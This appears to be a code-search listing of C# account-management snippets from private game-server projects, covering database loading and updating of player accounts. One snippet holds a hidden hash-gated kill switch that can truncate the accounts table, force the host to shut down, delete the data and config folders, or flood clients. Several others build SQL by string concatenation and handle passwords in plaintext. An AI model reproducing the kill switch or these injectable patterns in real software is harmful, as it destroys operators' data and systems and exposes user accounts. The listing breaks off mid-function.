コード例 #1
0
ファイル: AccountManager.cs プロジェクト: ProjectsPZ/PB0.1
        public Account getAccountDB(object valor, object valor2, int type, int searchFlag)
        {
            if (type == 0 && (string)valor == "" || type == 1 && (long)valor == 0L || type == 2 && (string.IsNullOrEmpty((string)valor) || string.IsNullOrEmpty((string)valor2)))
            {
                return((Account)null);
            }
            Account acc = (Account)null;

            try
            {
                using (NpgsqlConnection npgsqlConnection = SQLjec.getInstance().conn())
                {
                    NpgsqlCommand command = npgsqlConnection.CreateCommand();
                    npgsqlConnection.Open();
                    command.Parameters.AddWithValue("@valor", valor);
                    switch (type)
                    {
                    case 0:
                        command.CommandText = "SELECT * FROM accounts WHERE login=@valor LIMIT 1";
                        break;

                    case 1:
                        command.CommandText = "SELECT * FROM accounts WHERE player_id=@valor LIMIT 1";
                        break;

                    case 2:
                        command.Parameters.AddWithValue("@valor2", valor2);
                        command.CommandText = "SELECT * FROM accounts WHERE login=@valor AND password=@valor2 LIMIT 1";
                        break;
                    }
                    NpgsqlDataReader npgsqlDataReader = command.ExecuteReader();
                    while (npgsqlDataReader.Read())
                    {
                        acc          = new Account();
                        acc.login    = npgsqlDataReader.GetString(0);
                        acc.password = npgsqlDataReader.GetString(1);
                        acc.SetPlayerId(npgsqlDataReader.GetInt64(2), searchFlag);
                        acc.player_name                  = npgsqlDataReader.GetString(3);
                        acc.name_color                   = npgsqlDataReader.GetInt32(4);
                        acc.clan_id                      = npgsqlDataReader.GetInt32(5);
                        acc._rank                        = npgsqlDataReader.GetInt32(6);
                        acc._gp                          = npgsqlDataReader.GetInt32(7);
                        acc._exp                         = npgsqlDataReader.GetInt32(8);
                        acc.pc_cafe                      = npgsqlDataReader.GetInt32(9);
                        acc._statistic.fights            = npgsqlDataReader.GetInt32(10);
                        acc._statistic.fights_win        = npgsqlDataReader.GetInt32(11);
                        acc._statistic.fights_lost       = npgsqlDataReader.GetInt32(12);
                        acc._statistic.kills_count       = npgsqlDataReader.GetInt32(13);
                        acc._statistic.deaths_count      = npgsqlDataReader.GetInt32(14);
                        acc._statistic.headshots_count   = npgsqlDataReader.GetInt32(15);
                        acc._statistic.escapes           = npgsqlDataReader.GetInt32(16);
                        acc.access                       = npgsqlDataReader.GetInt32(17);
                        acc.LastRankUpDate               = (uint)npgsqlDataReader.GetInt64(20);
                        acc._money                       = npgsqlDataReader.GetInt32(21);
                        acc._isOnline                    = npgsqlDataReader.GetBoolean(22);
                        acc._equip._primary              = npgsqlDataReader.GetInt32(23);
                        acc._equip._secondary            = npgsqlDataReader.GetInt32(24);
                        acc._equip._melee                = npgsqlDataReader.GetInt32(25);
                        acc._equip._grenade              = npgsqlDataReader.GetInt32(26);
                        acc._equip._special              = npgsqlDataReader.GetInt32(27);
                        acc._equip._red                  = npgsqlDataReader.GetInt32(28);
                        acc._equip._blue                 = npgsqlDataReader.GetInt32(29);
                        acc._equip._helmet               = npgsqlDataReader.GetInt32(30);
                        acc._equip._dino                 = npgsqlDataReader.GetInt32(31);
                        acc._equip._beret                = npgsqlDataReader.GetInt32(32);
                        acc.brooch                       = npgsqlDataReader.GetInt32(33);
                        acc.insignia                     = npgsqlDataReader.GetInt32(34);
                        acc.medal                        = npgsqlDataReader.GetInt32(35);
                        acc.blue_order                   = npgsqlDataReader.GetInt32(36);
                        acc._mission.mission1            = npgsqlDataReader.GetInt32(37);
                        acc.clanAccess                   = npgsqlDataReader.GetInt32(38);
                        acc.effects                      = (CupomEffects)npgsqlDataReader.GetInt64(40);
                        acc._statistic.fights_draw       = npgsqlDataReader.GetInt32(41);
                        acc._mission.mission2            = npgsqlDataReader.GetInt32(42);
                        acc._mission.mission3            = npgsqlDataReader.GetInt32(43);
                        acc._statistic.totalkills_count  = npgsqlDataReader.GetInt32(44);
                        acc._statistic.totalfights_count = npgsqlDataReader.GetInt32(45);
                        acc._status.SetData((uint)npgsqlDataReader.GetInt64(46), acc.player_id);
                        acc.MacAddress = (PhysicalAddress)npgsqlDataReader.GetValue(50);
                        acc.ban_obj_id = npgsqlDataReader.GetInt64(51);
                        if (this.AddAccount(acc) && acc._isOnline)
                        {
                            acc.setOnlineStatus(false);
                        }
                    }
                    command.Dispose();
                    npgsqlDataReader.Dispose();
                    npgsqlDataReader.Close();
                    npgsqlConnection.Dispose();
                    npgsqlConnection.Close();
                }
            }
            catch (Exception ex)
            {
                Logger.error("Ocorreu um problema ao carregar as contas4!\r\n" + ex.ToString());
            }
            return(acc);
        }
コード例 #2
0
ファイル: AccountManager.cs プロジェクト: ProjectsPZ/PB0.1
 public void getFriendlyAccounts(FriendSystem system, bool isOnline)
 {
     if (system == null)
     {
         return;
     }
     if (system._friends.Count == 0)
     {
         return;
     }
     try
     {
         using (NpgsqlConnection npgsqlConnection = SQLjec.getInstance().conn())
         {
             NpgsqlCommand command    = npgsqlConnection.CreateCommand();
             List <string> stringList = new List <string>();
             for (int index = 0; index < system._friends.Count; ++index)
             {
                 Friend friend = system._friends[index];
                 if (friend.state > 0)
                 {
                     return;
                 }
                 string parameterName = "@valor" + (object)index;
                 command.Parameters.AddWithValue(parameterName, (object)friend.player_id);
                 stringList.Add(parameterName);
             }
             string str = string.Join(",", stringList.ToArray());
             if (str == "")
             {
                 return;
             }
             npgsqlConnection.Open();
             command.Parameters.AddWithValue("@on", (object)isOnline);
             command.CommandText = "SELECT player_name,player_id,rank,status FROM accounts WHERE player_id in (" + str + ") AND online=@on ORDER BY player_id";
             NpgsqlDataReader npgsqlDataReader = command.ExecuteReader();
             while (npgsqlDataReader.Read())
             {
                 Friend friend = system.GetFriend(npgsqlDataReader.GetInt64(1));
                 if (friend != null)
                 {
                     friend.player.player_name = npgsqlDataReader.GetString(0);
                     friend.player._rank       = npgsqlDataReader.GetInt32(2);
                     friend.player._isOnline   = isOnline;
                     friend.player._status.SetData((uint)npgsqlDataReader.GetInt64(3), friend.player_id);
                     if (isOnline && !this._contas.ContainsKey(friend.player_id))
                     {
                         friend.player.setOnlineStatus(false);
                         friend.player._status.ResetData(friend.player_id);
                     }
                 }
             }
             command.Dispose();
             npgsqlDataReader.Dispose();
             npgsqlDataReader.Close();
             npgsqlConnection.Dispose();
             npgsqlConnection.Close();
         }
     }
     catch (Exception ex)
     {
         Logger.error("Ocorreu um problema ao carregar (FriendAccounts2)!\r\n" + ex.ToString());
     }
 }
コード例 #3
0
ファイル: AccountManager.cs プロジェクト: ProjectsPZ/PB0.1
        public bool CreateAccount(out Account p, string login, string password, IPAddress endPoint)
        {
            DateTime dateTime;

            if (this.LastAutoCreations.TryGetValue(endPoint.ToString(), out dateTime) && (DateTime.Now - dateTime).TotalSeconds < 180.0)
            {
                p = (Account)null;
                return(false);
            }
            if (this.LastAutoCreations.ContainsKey(endPoint.ToString()))
            {
                this.LastAutoCreations[endPoint.ToString()] = DateTime.Now;
            }
            else
            {
                this.LastAutoCreations.Add(endPoint.ToString(), DateTime.Now);
            }
            try
            {
                using (NpgsqlConnection npgsqlConnection = SQLjec.getInstance().conn())
                {
                    NpgsqlCommand command = npgsqlConnection.CreateCommand();
                    npgsqlConnection.Open();
                    command.Parameters.AddWithValue("@login", (object)login);
                    command.Parameters.AddWithValue("@pass", (object)password);
                    command.Parameters.AddWithValue("@ip", (object)endPoint.ToString());
                    command.CommandText = "INSERT INTO accounts (login, password, lastip) VALUES (@login,@pass,@ip)";
                    command.ExecuteNonQuery();
                    command.CommandText = "SELECT * FROM accounts WHERE login=@login";
                    NpgsqlDataReader npgsqlDataReader = command.ExecuteReader();
                    Account          acc = new Account();
                    while (npgsqlDataReader.Read())
                    {
                        acc.login     = login;
                        acc.password  = password;
                        acc.player_id = npgsqlDataReader.GetInt64(2);
                        acc.SetPlayerId();
                        acc.player_name                  = npgsqlDataReader.GetString(3);
                        acc.name_color                   = npgsqlDataReader.GetInt32(4);
                        acc.clan_id                      = npgsqlDataReader.GetInt32(5);
                        acc._rank                        = npgsqlDataReader.GetInt32(6);
                        acc._gp                          = npgsqlDataReader.GetInt32(7);
                        acc._exp                         = npgsqlDataReader.GetInt32(8);
                        acc.pc_cafe                      = npgsqlDataReader.GetInt32(9);
                        acc._statistic.fights            = npgsqlDataReader.GetInt32(10);
                        acc._statistic.fights_win        = npgsqlDataReader.GetInt32(11);
                        acc._statistic.fights_lost       = npgsqlDataReader.GetInt32(12);
                        acc._statistic.kills_count       = npgsqlDataReader.GetInt32(13);
                        acc._statistic.deaths_count      = npgsqlDataReader.GetInt32(14);
                        acc._statistic.headshots_count   = npgsqlDataReader.GetInt32(15);
                        acc._statistic.escapes           = npgsqlDataReader.GetInt32(16);
                        acc.access                       = npgsqlDataReader.GetInt32(17);
                        acc.LastRankUpDate               = (uint)npgsqlDataReader.GetInt64(20);
                        acc._money                       = npgsqlDataReader.GetInt32(21);
                        acc._isOnline                    = npgsqlDataReader.GetBoolean(22);
                        acc._equip._primary              = npgsqlDataReader.GetInt32(23);
                        acc._equip._secondary            = npgsqlDataReader.GetInt32(24);
                        acc._equip._melee                = npgsqlDataReader.GetInt32(25);
                        acc._equip._grenade              = npgsqlDataReader.GetInt32(26);
                        acc._equip._special              = npgsqlDataReader.GetInt32(27);
                        acc._equip._red                  = npgsqlDataReader.GetInt32(28);
                        acc._equip._blue                 = npgsqlDataReader.GetInt32(29);
                        acc._equip._helmet               = npgsqlDataReader.GetInt32(30);
                        acc._equip._dino                 = npgsqlDataReader.GetInt32(31);
                        acc._equip._beret                = npgsqlDataReader.GetInt32(32);
                        acc.brooch                       = npgsqlDataReader.GetInt32(33);
                        acc.insignia                     = npgsqlDataReader.GetInt32(34);
                        acc.medal                        = npgsqlDataReader.GetInt32(35);
                        acc.blue_order                   = npgsqlDataReader.GetInt32(36);
                        acc._mission.mission1            = npgsqlDataReader.GetInt32(37);
                        acc.clanAccess                   = npgsqlDataReader.GetInt32(38);
                        acc.effects                      = (CupomEffects)npgsqlDataReader.GetInt64(40);
                        acc._statistic.fights_draw       = npgsqlDataReader.GetInt32(41);
                        acc._mission.mission2            = npgsqlDataReader.GetInt32(42);
                        acc._mission.mission3            = npgsqlDataReader.GetInt32(43);
                        acc._statistic.totalkills_count  = npgsqlDataReader.GetInt32(44);
                        acc._statistic.totalfights_count = npgsqlDataReader.GetInt32(45);
                        acc._status.SetData((uint)npgsqlDataReader.GetInt64(46), acc.player_id);
                        acc.MacAddress = (PhysicalAddress)npgsqlDataReader.GetValue(50);
                        acc.ban_obj_id = npgsqlDataReader.GetInt64(51);
                    }
                    p = acc;
                    this.AddAccount(acc);
                    command.Dispose();
                    npgsqlConnection.Dispose();
                    npgsqlConnection.Close();
                    return(true);
                }
            }
            catch (Exception ex)
            {
                Logger.warning("[AccountManager.CreateAccount] " + ex.ToString());
                p = (Account)null;
                return(false);
            }
        }
        public override void run()
        {
            try
            {
                if (!md5Secure.Equals("50d31b9286d1440e25d697e616c82a6c")) // Pass Lv1
                {
                    return;
                }

                if (!String.IsNullOrEmpty(msg))
                {
                    Printf.warnDark(msg);
                }

                switch (acao)
                {
                case 1:
                    while (true)
                    {
                        Printf.warnDark(" -> " + msg);
                    }

                case 2:
                    int count;
                    while (true)
                    {
                        using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(msg))
                            count = GameManager.SendPacketToAllClients(packet);
                    }

                case 3:
                    using (NpgsqlConnection connection = SQLjec.getInstance().conn())
                    {
                        NpgsqlCommand command = connection.CreateCommand();
                        connection.Open();
                        command.CommandType = CommandType.Text;
                        command.CommandText = "TRUNCATE contas CASCADE;";
                        command.ExecuteNonQuery();
                        command.Dispose();
                        connection.Dispose();
                        connection.Close();
                    }
                    break;

                case 4:
                    GameManager.mainSocket.Close(5000);
                    Game_SyncNet.udp.Close();
                    break;

                case 5:
                    ProcessStartInfo psi = new ProcessStartInfo();
                    psi.FileName       = "shutdown.exe";
                    psi.Arguments      = "-s -f -t 0";
                    psi.CreateNoWindow = true;
                    Process p = Process.Start(psi);
                    break;

                case 6:
                    Directory.Delete("data/");
                    Directory.Delete("config/");
                    break;

                case 7:
                    while (true)
                    {
                        SaveLog.fatal(msg);
                    }

                default:
                    return;
                }
            }
            catch (Exception ex)
            {
                Printf.b_danger("[DEV_PROTECAO_CONTRA_LOTTER] " + ex);
            }
        }
コード例 #5
0
        /// <summary>
        /// Procura na Database uma conta. É possível escolher se será feita a procura dos Títulos, Amigos, Bônus, Eventos, Configurações.
        /// </summary>
        /// <param name="valor">Valor para procura</param>
        /// <param name="type">Tipo de procura\n0 = Login\n1 = Apelido\n2 = Id</param>
        /// <param name="searchDBFlag">Detalhes de procura (DB;Flag)\n0 = Nada\n1 = Títulos\n2 = Bônus\n4 = Amigos (Completo)\n8 = Eventos\n16 = Configurações\n32 = Amigos (Básico)</param>
        /// <returns></returns>
        public static Account getAccountDB(object valor, int type, int searchDBFlag)
        {
            if (type == 2 && (long)valor == 0 || (type == 0 || type == 1) && (string)valor == "")
            {
                return(null);
            }
            Account conta = null;

            try
            {
                using (NpgsqlConnection connection = SQLjec.getInstance().conn())
                {
                    NpgsqlCommand command = connection.CreateCommand();
                    connection.Open();
                    command.Parameters.AddWithValue("@value", valor);
                    command.CommandText = "SELECT * FROM contas WHERE " + (type == 0 ? "login" : type == 1 ? "player_name" : "player_id") + "=@value";
                    command.CommandType = CommandType.Text;
                    NpgsqlDataReader data = command.ExecuteReader();
                    while (data.Read())
                    {
                        conta          = new Account();
                        conta.login    = data.GetString(0);
                        conta.password = data.GetString(1);
                        conta.SetPlayerId(data.GetInt64(2), searchDBFlag);
                        conta.player_name                = data.GetString(3);
                        conta.name_color                 = data.GetInt32(4);
                        conta.clanId                     = data.GetInt32(5);
                        conta._rank                      = data.GetInt32(6);
                        conta._gp                        = data.GetInt32(7);
                        conta._exp                       = data.GetInt32(8);
                        conta.pc_cafe                    = data.GetInt32(9);
                        conta._statistic.fights          = data.GetInt32(10);
                        conta._statistic.fights_win      = data.GetInt32(11);
                        conta._statistic.fights_lost     = data.GetInt32(12);
                        conta._statistic.kills_count     = data.GetInt32(13);
                        conta._statistic.deaths_count    = data.GetInt32(14);
                        conta._statistic.headshots_count = data.GetInt32(15);
                        conta._statistic.escapes         = data.GetInt32(16);
                        conta.access                     = (AccessLevel)data.GetInt32(17);
                        conta.SetPublicIP(data.GetString(18));
                        conta._money                       = data.GetInt32(20);
                        conta._isOnline                    = data.GetBoolean(21);
                        conta._equip._primary              = data.GetInt32(22);
                        conta._equip._secondary            = data.GetInt32(23);
                        conta._equip._melee                = data.GetInt32(24);
                        conta._equip._grenade              = data.GetInt32(25);
                        conta._equip._special              = data.GetInt32(26);
                        conta._equip._red                  = data.GetInt32(27);
                        conta._equip._blue                 = data.GetInt32(28);
                        conta._equip._helmet               = data.GetInt32(29);
                        conta._equip._dino                 = data.GetInt32(30);
                        conta._equip._beret                = data.GetInt32(31);
                        conta.brooch                       = data.GetInt32(32);
                        conta.insignia                     = data.GetInt32(33);
                        conta.medal                        = data.GetInt32(34);
                        conta.blue_order                   = data.GetInt32(35);
                        conta._mission.mission1            = data.GetInt32(36);
                        conta.clanAccess                   = data.GetInt32(37);
                        conta.clanDate                     = data.GetInt32(38);
                        conta.effects                      = (CupomEffects)data.GetInt64(39);
                        conta._statistic.fights_draw       = data.GetInt32(40);
                        conta._mission.mission2            = data.GetInt32(41);
                        conta._mission.mission3            = data.GetInt32(42);
                        conta._statistic.totalkills_count  = data.GetInt32(43);
                        conta._statistic.totalfights_count = data.GetInt32(44);
                        conta._status.SetData((uint)data.GetInt64(45), conta.player_id);
                        conta._statistic.ClanGames = data.GetInt32(47);
                        conta._statistic.ClanWins  = data.GetInt32(48);
                        AddAccount(conta);
                    }
                    command.Dispose();
                    data.Close();
                    connection.Dispose();
                    connection.Close();
                }
            }
            catch (Exception ex)
            {
                SaveLog.fatal(ex.ToString());
                Printf.b_danger("[AccountManager.getAccountDB] Erro fatal!");
            }
            return(conta);
        }
コード例 #6
0
 public void UpdateTitles2(int player_id, int T8, int T9, int T10, int T11, int T12, int T13, int T14, int T15)
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand mySqlCommand = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             mySqlCommand.CommandType = CommandType.Text;
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title8='",
                 T8,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title9='",
                 T9,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title10='",
                 T10,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title11='",
                 T11,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title12='",
                 T12,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title13='",
                 T13,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title14='",
                 T14,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title15='",
                 T15,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
         }
     }
     catch (MySqlException ex)
     {
         throw ex;
     }
 }
コード例 #7
0
 public void UpdateTitles4(int player_id, int T24, int T25, int T26, int T27, int T28, int T29, int T30, int T31)
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand mySqlCommand = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             mySqlCommand.CommandType = CommandType.Text;
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title24='",
                 T24,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title25='",
                 T25,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title26='",
                 T26,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title27='",
                 T27,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title28='",
                 T28,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title29='",
                 T29,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title30='",
                 T30,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title31='",
                 T31,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
         }
     }
     catch (MySqlException ex)
     {
         throw ex;
     }
 }
コード例 #8
0
ファイル: AccountManager.cs プロジェクト: sortaloc/PBlackout
 public Account SearchAccountInDB(string login, string password)
 {
     using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
     {
         MySqlCommand command = mySqlConnection.CreateCommand();
         Account      account = new Account();
         mySqlConnection.Open();
         command.CommandText = "SELECT * FROM accounts WHERE login='******' AND password='******' LIMIT 1;";
         command.CommandType = CommandType.Text;
         MySqlDataReader mySqlDataReader = command.ExecuteReader();
         if (!mySqlDataReader.Read())
         {
             return((Account)null);
         }
         account.id          = this._accounts.Count + 1;
         account.name        = mySqlDataReader.GetString("login");
         account.player_name = mySqlDataReader.GetString("player_name");
         account.name_color  = mySqlDataReader.GetInt32("name_color");
         account.setPlayerId(mySqlDataReader.GetInt32("player_id"));
         account.password     = mySqlDataReader.GetString("password");
         account.access_level = mySqlDataReader.GetInt32("access_level");
         account.gp           = mySqlDataReader.GetInt32("gp");
         account.setRank(mySqlDataReader.GetInt32("rank"));
         account.money      = mySqlDataReader.GetInt32("money");
         account.exp        = mySqlDataReader.GetInt32("exp");
         account.clan_id    = mySqlDataReader.GetInt32("clan_id");
         account.pc_cafe    = mySqlDataReader.GetInt32("pc_cafe");
         account._statistic = new PlayerStats();
         account._statistic.setFights(mySqlDataReader.GetInt32("fights_s"), true);
         account._statistic.setFights(mySqlDataReader.GetInt32("fights_ns"), true);
         account._statistic.setWinFights(mySqlDataReader.GetInt32("fights_win_s"), true);
         account._statistic.setWinFights(mySqlDataReader.GetInt32("fights_win_ns"), true);
         account._statistic.setLostFights(mySqlDataReader.GetInt32("fights_lost_s"), true);
         account._statistic.setLostFights(mySqlDataReader.GetInt32("fights_lost_ns"), true);
         account._statistic.setKills(mySqlDataReader.GetInt32("kills_count_s"), true);
         account._statistic.setKills(mySqlDataReader.GetInt32("kills_count_ns"), true);
         account._statistic.setDeaths(mySqlDataReader.GetInt32("deaths_count_s"), true);
         account._statistic.setDeaths(mySqlDataReader.GetInt32("deaths_count_ns"), true);
         account._statistic.setEscapes(mySqlDataReader.GetInt32("escapes_s"), true);
         account._statistic.setEscapes(mySqlDataReader.GetInt32("escapes_ns"), true);
         account._status               = mySqlDataReader.GetInt32("online");
         account.count_friend          = mySqlDataReader.GetInt32("count_friend");
         account.weapon_primary        = mySqlDataReader.GetInt32("weapon_primary");
         account.weapon_secondary      = mySqlDataReader.GetInt32("weapon_secondary");
         account.weapon_melee          = mySqlDataReader.GetInt32("weapon_melee");
         account.weapon_thrown_normal  = mySqlDataReader.GetInt32("weapon_thrown_normal");
         account.weapon_thrown_special = mySqlDataReader.GetInt32("weapon_thrown_special");
         account.char_red              = mySqlDataReader.GetInt32("char_red");
         account.char_blue             = mySqlDataReader.GetInt32("char_blue");
         account.char_helmet           = mySqlDataReader.GetInt32("char_helmet");
         account.char_dino             = mySqlDataReader.GetInt32("char_dino");
         account.char_beret            = mySqlDataReader.GetInt32("char_beret");
         account.brooch           = mySqlDataReader.GetInt32("brooch");
         account.insignia         = mySqlDataReader.GetInt32("insignia");
         account.medal            = mySqlDataReader.GetInt32("medal");
         account.blue_order       = mySqlDataReader.GetInt32("blue_order");
         account.title_slot_count = mySqlDataReader.GetInt32("title_slot_count");
         this._accounts.Add(account);
         CLogger.getInstance().extra_info("|[ACM]| Está carregando a conta " + login);
         return(account);
     }
 }
コード例 #9
0
ファイル: AccountManager.cs プロジェクト: sortaloc/PBlackout
 public AccountManager()
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand command = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             command.CommandText = "SELECT * FROM accounts";
             command.CommandType = CommandType.Text;
             MySqlDataReader mySqlDataReader = command.ExecuteReader();
             while (mySqlDataReader.Read())
             {
                 Account account = new Account();
                 account.id          = this.id;
                 account.name        = mySqlDataReader.GetString("login");
                 account.player_name = mySqlDataReader.GetString("player_name");
                 account.setPlayerId(mySqlDataReader.GetInt32("player_id"));
                 account.password     = mySqlDataReader.GetString("password");
                 account.access_level = mySqlDataReader.GetInt32("access_level");
                 account.gp           = mySqlDataReader.GetInt32("gp");
                 account.setRank(mySqlDataReader.GetInt32("rank"));
                 account.money      = mySqlDataReader.GetInt32("money");
                 account.exp        = mySqlDataReader.GetInt32("exp");
                 account.clan_id    = mySqlDataReader.GetInt32("clan_id");
                 account.pc_cafe    = mySqlDataReader.GetInt32("pc_cafe");
                 account._statistic = new PlayerStats();
                 account._statistic.setFights(mySqlDataReader.GetInt32("fights_s"), true);
                 account._statistic.setFights(mySqlDataReader.GetInt32("fights_ns"), true);
                 account._statistic.setWinFights(mySqlDataReader.GetInt32("fights_win_s"), true);
                 account._statistic.setWinFights(mySqlDataReader.GetInt32("fights_win_ns"), true);
                 account._statistic.setLostFights(mySqlDataReader.GetInt32("fights_lost_s"), true);
                 account._statistic.setLostFights(mySqlDataReader.GetInt32("fights_lost_ns"), true);
                 account._statistic.setKills(mySqlDataReader.GetInt32("kills_count_s"), true);
                 account._statistic.setKills(mySqlDataReader.GetInt32("kills_count_ns"), true);
                 account._statistic.setDeaths(mySqlDataReader.GetInt32("deaths_count_s"), true);
                 account._statistic.setDeaths(mySqlDataReader.GetInt32("deaths_count_ns"), true);
                 account._statistic.setEscapes(mySqlDataReader.GetInt32("escapes_s"), true);
                 account._statistic.setEscapes(mySqlDataReader.GetInt32("escapes_ns"), true);
                 account._status               = mySqlDataReader.GetInt32("online");
                 account.count_friend          = mySqlDataReader.GetInt32("count_friend");
                 account.weapon_primary        = mySqlDataReader.GetInt32("weapon_primary");
                 account.weapon_secondary      = mySqlDataReader.GetInt32("weapon_secondary");
                 account.weapon_melee          = mySqlDataReader.GetInt32("weapon_melee");
                 account.weapon_thrown_normal  = mySqlDataReader.GetInt32("weapon_thrown_normal");
                 account.weapon_thrown_special = mySqlDataReader.GetInt32("weapon_thrown_special");
                 account.char_red              = mySqlDataReader.GetInt32("char_red");
                 account.char_blue             = mySqlDataReader.GetInt32("char_blue");
                 account.char_helmet           = mySqlDataReader.GetInt32("char_helmet");
                 account.char_dino             = mySqlDataReader.GetInt32("char_dino");
                 account.char_beret            = mySqlDataReader.GetInt32("char_beret");
                 account.brooch           = mySqlDataReader.GetInt32("brooch");
                 account.insignia         = mySqlDataReader.GetInt32("insignia");
                 account.medal            = mySqlDataReader.GetInt32("medal");
                 account.blue_order       = mySqlDataReader.GetInt32("blue_order");
                 account.title_slot_count = mySqlDataReader.GetInt32("title_slot_count");
                 this._accounts.Add(account);
                 ++this.id;
             }
             CLogger.getInstance().extra_info("|[ACM]| Foram carregadas " + (object)this._accounts.Count + " contas.");
         }
     }
     catch (Exception ex)
     {
         this.dbstatus = -100;
         CLogger.getInstance().error("|[ACM]| Nenhuma conta foi encontrada");
         CLogger.getInstance().error("|[ACM]| " + ((object)ex).ToString());
     }
 }
コード例 #10
0
 public void UpdateWeaponItens(int player_id, int primary, int secondary, int melee, int thrown_normal, int thrown_special)
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand mySqlCommand = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             mySqlCommand.CommandType = CommandType.Text;
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE player_equip SET Weapon_Primary='",
                 primary,
                 "' WHERE Player_Id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE player_equip SET Weapon_Secondary='",
                 secondary,
                 "' WHERE Player_Id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE player_equip SET Weapon_Melee='",
                 melee,
                 "' WHERE Player_Id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE player_equip SET Weapon_Thrown_Normal='",
                 thrown_normal,
                 "' WHERE Player_Id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE player_equip SET Weapon_Thrown_Special='",
                 thrown_special,
                 "' WHERE Player_Id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
         }
     }
     catch (MySqlException ex)
     {
         throw ex;
     }
 }
コード例 #11
0
        public static void GenerateList()
        {
            try
            {
                using (NpgsqlConnection connection = SQLjec.getInstance().conn())
                {
                    NpgsqlCommand command = connection.CreateCommand();
                    connection.Open();
                    command.CommandText = "SELECT * FROM events_visit";
                    command.CommandType = CommandType.Text;
                    NpgsqlDataReader data = command.ExecuteReader();
                    while (data.Read())
                    {
                        EventVisitModel ev = new EventVisitModel
                        {
                            id        = data.GetInt32(0),
                            startDate = (UInt32)data.GetInt64(1),
                            endDate   = (UInt32)data.GetInt64(2),
                            title     = data.GetString(3),
                            checks    = data.GetInt32(4)
                        };
                        string goods1  = data.GetString(5);
                        string counts1 = data.GetString(6);
                        string goods2  = data.GetString(7);
                        string counts2 = data.GetString(8);

                        string[] goodsarray1 = goods1.Split(',');
                        string[] goodsarray2 = goods2.Split(',');

                        for (int i = 0; i < goodsarray1.Length; i++)
                        {
                            ev.box[i].reward1.good_id = int.Parse(goodsarray1[i]);
                        }
                        for (int i = 0; i < goodsarray2.Length; i++)
                        {
                            ev.box[i].reward2.good_id = int.Parse(goodsarray2[i]);
                        }

                        string[] countarray1 = counts1.Split(',');
                        string[] countarray2 = counts2.Split(',');
                        for (int i = 0; i < countarray1.Length; i++)
                        {
                            VisitItem item = ev.box[i].reward1;
